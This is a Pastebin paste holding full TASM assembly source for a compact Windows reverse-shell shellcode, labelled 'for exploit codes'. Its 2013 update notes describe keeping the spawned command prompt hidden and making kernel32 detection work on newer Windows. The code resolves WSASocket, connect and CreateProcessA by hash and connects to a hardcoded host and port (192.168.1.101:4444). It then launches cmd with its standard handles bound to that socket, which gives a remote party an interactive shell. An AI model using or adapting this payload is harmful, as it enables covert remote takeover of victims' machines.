Advertisement
class101

Reverse Windows shellcode for exploit codes (230 bytes)

Aug 25th, 2013
256
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ;*********************************** class101 Update (2013) *********************************
  2. ;
  3. ; Removed : hardcoded offset to PEB (not reliable in 2013)
  4. ; Removed : system() (requires AllocConsole, prompt crashes if parent crashes)
  5. ; Removed : AllocConsole() (prompt window visible)
  6. ; Updated : kernel32 base address detection (was finding KERNELBASE.dll on newer Windows)
  7. ; Added   : CreateProcess() (does not requires AllocConsole, prompt hidden
  8. ;           and does not crashes if parent crashes)
  9. ;
  10. ; +24 (18h) bytes
  11. ;
  12. ; Update by Arnaud 'class101' Dovi - ad@heapoverflow.com
  13. ;                                    http://steamcommunity.com/id/class101
  14. ;                                    http://heapoverflow.com
  15. ;
  16. ;*********************************** Christmas Shells (2003) ********************************
  17. ; Callback Shell.
  18. ; Directly set std handles and call system()
  19. ;
  20. ; 206 (CEh) bytes
  21. ;
  22. ; its not code, its antic0de
  23. ; and it works now too %-)
  24. ; Left it in tasm format.
  25. ; tasm32 -ml /m5 shell.asm
  26. ; tlink32 -Tpe -c -x shell.obj ,,, import32
  27. ;
  28. ;*********************************** Christmas Shells ***************************************
  29. ; Jimminy jellicas its been jimplemented.
  30. ;  Oddity,Dsp,Shammah,Santa Claus and the rest of the loco locals
  31. ;  All the o/s peeps who know whats what.
  32. ;********************************************************************************************
  33. .586p
  34. locals
  35.  
  36. .model flat, stdcall
  37. extrn ExitProcess:PROC
  38. extrn WSAStartup:PROC
  39. extrn WSACleanup:PROC
  40.  
  41. .data
  42. wsadescription_len equ 256
  43. wsasys_status_len equ 128
  44.  
  45. WSAdata struct
  46. wVersion dw ?
  47. wHighVersion dw ?
  48. szDescription db wsadescription_len+1 dup (?)
  49. szSystemStatus db wsasys_status_len+1 dup (?)
  50. iMaxSockets dw ?
  51. iMaxUdpDg dw ?
  52. lpVendorInfo dw ?
  53. WSAdata ends
  54.  
  55. wsadata WSAdata <?>
  56.  
  57. .code
  58. ;****************************************************************************
  59. ; Winsock + copy to stack code
  60. ;****************************************************************************
  61. start:
  62.  
  63. ; Winsock start up
  64.     push    offset wsadata
  65.     push    0101h
  66.     call    WSAStartup
  67.     or      eax, eax
  68.     jz      winsock_found
  69.     jmp     codeend
  70.  
  71. winsock_found:
  72.     ; copy ourselves onto stack
  73.     mov     ebx,offset realstart
  74.     sub     esp,400h
  75.     mov     eax,esp
  76.  
  77. Copyit:
  78.     mov     cl,byte ptr [ebx]
  79.     mov     byte ptr [eax],cl
  80.     inc     eax
  81.     inc     ebx
  82.     cmp     ebx,offset codeend
  83.     jle     Copyit
  84.     jmp     esp
  85.  
  86. ;****************************************************************************
  87. ; This is the start of the shell code
  88. ;****************************************************************************
  89. realstart:
  90.     jmp over_data
  91.  
  92.     ; 8 bytes of socket
  93. sockdat db 02h,01h,11h,5Ch                  ; 115C, port (4444)
  94.         db 0c0h,0a8h,01h,65h                ; IP address 192.168.1.101
  95.  
  96.     ; 16 bytes of data
  97. hashes  db 01h                              ; Termination
  98.         ;dw 364Ah                            ; System    msvcrt.dll                                                            ; - 9 bytes
  99.         ;db "MSVCRT",01                                                                                                        ;
  100.         dw 422Ah                            ; WSASocket ws2_32.dll
  101.         dw 8AD4h                            ; Connect   ws2_32.dll
  102.         db "WS2_32",01
  103.         dw 35E8h                            ; CreateProcessA kernel32.dll                                                      ; + 0 bytes
  104.         dw 4E2Ch                            ; LoadLibrary   kernel32.dll
  105.         ;;;dw 817Ch                           ; AllocConsole  kernel32.dll
  106.  
  107. over_data:
  108.     ; 7 byte Getself code
  109.     push    0ACC3575Fh                      ; Pop/Push/Ret
  110.     call    esp                             ; EIP returned in EDI
  111.                                             ; EDI - 7 points to end of hashes
  112.     ; find Kernel32 base + store peb address
  113.     ;;;mov     esi,7ffdf00ch                ; Offset into PEB
  114.     xor     eax, eax                        ; ECX = 0                                                                          ; + 4 bytes
  115.     mov     esi, fs:[eax + 30h]             ; Offset into PEB                                                                  ;
  116.     add     esi,0Ch                         ; PPROCESS_MODULE_INFO (PEB_LDR_DATA)
  117.     lodsd                                   ; PPROCESS_MODULE_INFO
  118.     push    dword ptr [esi]                 ; Store PEB->ProcessParameters->base address for later
  119.     ;;;mov     esi,[eax + 1ch]              ; InInitializationOrderModuleList
  120.     ;;;lodsd                                ; Grab Next Pointer (Kernel32.dll) in eax
  121.     ;;;mov     edx,[eax + 08h]              ; EDX = kernel32.dll base address
  122.     mov     esi,[eax + 0Ch]                 ;                                                                                  ; + 2 bytes
  123.     lodsd                                   ; Grab Next Pointer (main executable) in eax                                       ;
  124.     xchg    esi,eax                         ; Only 1 byte with AX/EAX                                                          ;
  125.     lodsd                                   ; Grab Next Pointer (main executable) in eax                                       ;
  126.     mov     edx,[eax + 18h]                 ; EDX = kernel32.dll base address                                                  ;
  127.     push    -8                              ; EDI Adjuster for later loadlibrary calls
  128.     lea     ebx,[edi-8]                     ; EBX Holds address of hashes
  129.  
  130. LookupFunctions:
  131.     push    esp                             ; Reset the stack base pointer
  132.     pop     ebp                             ; So we can use EBP, and store current stack pos
  133.     ; get RVA tables
  134.     mov     ecx,dword ptr [edx + 3ch]       ; Get NT Header Offset Address. Base + 3ch
  135.     mov     esi,dword ptr [ecx + edx + 78h] ; Add Base And Move To Data Dictionary
  136.     lea     esi,dword ptr [esi + edx + 1ch] ; Add Base And Move To The Tables
  137.     mov     cl,3                            ; 3 Loops, ECX was holding the NT Header offset 0x00d0 or similiar
  138.  
  139. StoreAddress:
  140.     ; Store address's
  141.     lodsd                                   ; EAX = Address Table / Name Ptrz / Ordinal RVA
  142.     add     eax,edx                         ; Add Base Location
  143.     push    eax                             ; Store it on stack
  144.     loop    short StoreAddress              ; Loopy
  145.  
  146. ;*************************************************************************
  147. ; [EDI-7]   = end of hashes
  148. ; EDI       = start of Function address storage location
  149. ; EDX       = dll base address
  150. ; EBX       = address of hashes +1 (offset for loadlib implementation)
  151. ;*************************************************************************
  152. SearchStart:
  153.     dec     ebx                         ; Dec our EBX pointer to the hashes.
  154.     mov     esi,dword ptr [ebp - 8]     ; Get Name Ptrz Table
  155.     xor     eax,eax                     ; Set Our API Counter To 0
  156.     push    eax                         ; Push a 0 for later
  157.  
  158. Search:
  159.     push    eax                         ; Store our API counter
  160.     lodsd                               ; Load address of function name from [ESI] into EAX
  161.     add     eax,edx                     ; Add DLL base address
  162.     xor     ecx,ecx                     ; Zero our hash value counter
  163.  
  164. hashy:
  165.     add     cx,word ptr [eax]           ; Add it up
  166.     add     cl,byte ptr [eax]           ; Add it up
  167.     inc     eax                         ; Move along
  168.     cmp     byte ptr [eax],01           ; End of string
  169.     jge     hashy                       ; Nup
  170.     pop     eax                         ; Restore Our API Counter
  171.     inc     eax                         ; Inc our API counter
  172.     cmp     cx,[ebx]                    ; Compare To Hash Value
  173.     jne     Search                      ; We go and check the next name if they don't match
  174.     ; GotMatch
  175.     pop     esi                         ; Pop a 0
  176.     xchg    esi,eax                     ; Get Our API Counter Into ESI, 0 into EAX
  177.     dec     esi                         ; Adjust our API counter back 1
  178.     shl     esi,1                       ; ESI = ESI * 2
  179.     add     esi,dword ptr [ebp - 0ch]   ; Normalize With Ordinal VA
  180.     lodsw                               ; Get Ordinal in AX Word Only
  181.     shl     eax,2                       ; EAX = AX * 4
  182.     add     eax,dword ptr [ebp - 4h]    ; Normalize With Address VA
  183.     xchg    esi,eax                     ; Swap them around
  184.     lodsd                               ; Load Function address into EAX
  185.     add     eax,edx                     ; Normalize with the base and all is done.
  186.     stosd                               ; Store the function location in [EDI]
  187.                                         ; We sub 1 here, 1 up at SearchStart. Strange loadlib implementation
  188.     dec     ebx                         ; To move to next hash. No byte loss
  189.     cmp     byte ptr [ebx],01h          ; Hash dll seperator
  190.     jne     short SearchStart               ; Go and find another API
  191.     ; Requires a loadlibrary call
  192.     leave                               ; Adjust stack back, pops EDI adjuster in EBP
  193.     dec     byte ptr [ebx]              ; Create a null terminator
  194.     sub     ebx,06h                     ; Move down hash table
  195.     cmp     byte ptr [ebx],11h          ; Past our hashes? (!!! 11h TO UPDATE AFTER THE PORT !!!)
  196.     je     short Done_Finding           ; Done
  197.     push    ebx                         ; Push address of dll
  198.     call    dword ptr [edi + ebp]       ; Call LoadLibrary
  199.     xchg    edx,eax                     ; Save base Address
  200.     push    -16                         ; Store EDI Adjuster
  201.     dec     ebx                         ; We sub 1 here, 1 up at SearchStart. Strange loadlib implementation
  202.     jne     short LookupFunctions       ; Load the next DLLS functions
  203.  
  204. Done_Finding:
  205. ;*****************************************
  206. ; [EDI - 04h]   WSASocket
  207. ; [EDI - 08h]   Connect
  208. ; [EDI - 0ch]   CreateProcess
  209. ; [EDI - 10h]   LoadLibrary
  210. ;*****************************************
  211.     ;;;xchg    eax,ebp                ; Store the system() address                                                             ; -1 bytes
  212.     ;;;; Create console
  213.     ;;;call    [EDI - 10h]            ; Call AllocConsole()                                                                    ; -3 bytes
  214.     xor     ecx,ecx                   ; Null ECX
  215.     ; call WSASocket
  216.     push    ecx                       ; Push 0
  217.     push    ecx                       ; Push 0
  218.     push    ecx                       ; Push 0
  219.     push    ecx                       ; Push 0
  220.     inc     ecx                       ; Increment ecx
  221.     push    ecx                       ; Push 1
  222.     inc     ecx                       ; Increment ecx
  223.     push    ecx                       ; Push 2
  224.     call    [edi - 04h]               ; Call WSASocket
  225.     xchg    ecx,edi                   ; Store API storage
  226.     ; Directly edit the std handles
  227.     pop     edi                       ; Pop PEB->ProcessParameters->base address
  228.     ;;;add     edi,18h                ; And adjust
  229.     sub     di, -90h                  ; EDI = CreateProcess structure location
  230.     push    20646D63h                 ; Push cmd on stack (CreateProcess structure)
  231.     push    esp                       ; Push readable dummy location (CreateProcess structure)
  232.     push    edi                       ; Push writable structure location (CreateProcess structure)
  233.     mov     word ptr [edi+2Ch],101h   ; si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; (CreateProcess structure)
  234.     sub     di, -38h                  ; EDI = handles location
  235.     stosd                             ; Set handle in CreateProcess structure
  236.     stosd                             ; Set handle in CreateProcess structure
  237.     stosd                             ; Set handle in CreateProcess structure
  238.     ; Setup socket data
  239.     dec     ebx                       ; Need to
  240.     dec     byte ptr [ebx]            ; Remove 01
  241.     dec     ebx                       ; And position
  242.     ; call connect
  243.     push    ebx                       ; Push the name structure length. Doesn't seem to matter. std is 10h
  244.     push    ebx                       ; Push location of structure
  245.     push    eax                       ; Push socket
  246.     xchg    esi,ecx                   ; Store API storage
  247.     call    [esi - 08h]               ; Call Connect
  248.     ; Call CreateProcess
  249.     xor     ecx,ecx
  250.     push    ecx                       ; NULL
  251.     push    ecx                       ; NULL
  252.     push    ecx                       ; 0
  253.     push    1                         ; Inherit handles
  254.     push    ecx                       ; NULL
  255.     push    ecx                       ; NULL
  256.     lea     eax,[esp+20h]             ; Get command line location
  257.     push    eax                       ; Push command line location
  258.     push    ecx                       ; NULL
  259.     call    [esi - 0ch]               ; Call CreateProcessA
  260.     ;push    esp                      ; Location to cmd
  261.     ;call    ebp                      ; Call system()
  262.     ;;;call    WSACleanup
  263. codeend:
  264. end     start
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement